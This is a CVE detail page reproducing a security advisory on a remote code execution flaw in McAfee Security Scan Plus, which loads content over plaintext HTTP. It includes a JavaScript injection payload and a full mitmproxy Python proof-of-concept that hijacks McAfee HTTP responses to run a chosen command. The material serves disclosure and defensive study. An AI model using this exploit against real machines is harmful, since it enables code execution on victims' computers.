CVE-2017-3897 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## Vulnerability Summary The following advisory describes a Remote Code Execution found in McAfee Security Scan Plus. An active network attacker could launch a man-in-the-middle attack on a plaintext-HTTP response to a client to run any residing executables with privileges of a logged in user. McAfee Security Scan Plus is a free diagnostic tool that ensures you are protected from threats by actively checking your computer for up-to-date anti-virus, firewall, and web security software. It also scans for threats in any open programs. ## Credit An independent security research company, Silent Signal, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ## Vendor response The vendor has released patches to address this vulnerability. For more information: https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714 CVE: CVE-2017-3897 ## Vulnerability details McAfee Security Scan Plus retrieves promotional and UI design information from different mcafee.com domains and displays them to the user, typically in the main application window. The vulnerability is caused by multiple factors: Information is retrieved over plaintext HTTP that can be trivially modified by an active network attacker. McAfee Security Scan Plus rely on the MCBRWSR2.DLL library to display HTML content. The Library exposes the LaunchApplication() JavaScript API that executes arbitrary commands on the affected system. The McAfee Security Scan Plus downloads, after each scan, a UI element indicating the “protection level” of the target from the following URL: ``` http://home.mcafee.com/SecurityScanner/SSBanner.aspx ``` The following screenshot shows the placeholder of the web content while it is loaded (marked with red): Although the original response redirects to a secure HTTPS URL (and server certificates are verified by the client), from a man-in-the-middle position it’s possible to replace the redirection message with a HTTP response indicating success, and containing the call to the LaunchApplication() JavaScript API: ``` <script> window.external.LaunchApplication("c:\\windows\\system32\\calc.exe", ""); </script> ``` The above JavaScript executes the Windows Calculator (without arguments) with the privileges of the logged in user (on the user’s Desktop). The request is made every time the user initiates a scan or when a scan is initiated automatically – by default the product is configured for weekly scans, the exact time depends on the time of the installation. ## Proof of Concept ``` #!/usr/bin/env python3 # # HTTP proxy mode: # mitmproxy -s mcsploit_inline.py --ignore '.*' # # Transparent proxy mode: # mitmproxy -s mcsploit_inline.py -T # from mitmproxy import ctx, http import requests import time COMMAND="c:\\\\windows\\\\system32\\\\calc.exe" CMDARGS="" def response(flow): if flow.request.scheme == "http" and (flow.request.headers['host'].endswith("mcafee.com") or "mcafee" in flow.request.url): if flow.response.status_code == 302: ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (HTML)") https_url=flow.request.url.replace("http://","https://") r=requests.get(https_url,headers=flow.request.headers,verify=False) if "text/html" not in r.headers['content-type']: return contents=r.text contents=contents.replace("</head>","<script>try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}</script></head>" % (COMMAND, CMDARGS)) flow.response = http.HTTPResponse.make(200,bytes(contents,encoding="utf-8"),{"Content-Type": "text/html; charset=utf-8","Expires":"-1"}) return try: if flow.response.headers["content-type"] == "text/javascript": ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (JS)") inject="try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var x;}\n" % (COMMAND, CMDARGS) try: flow.response.contents = inject + flow.response.contents except AttributeError: ctx.log("[-] [MCSPLOIT] No content in the original response!") pass except KeyError: pass ```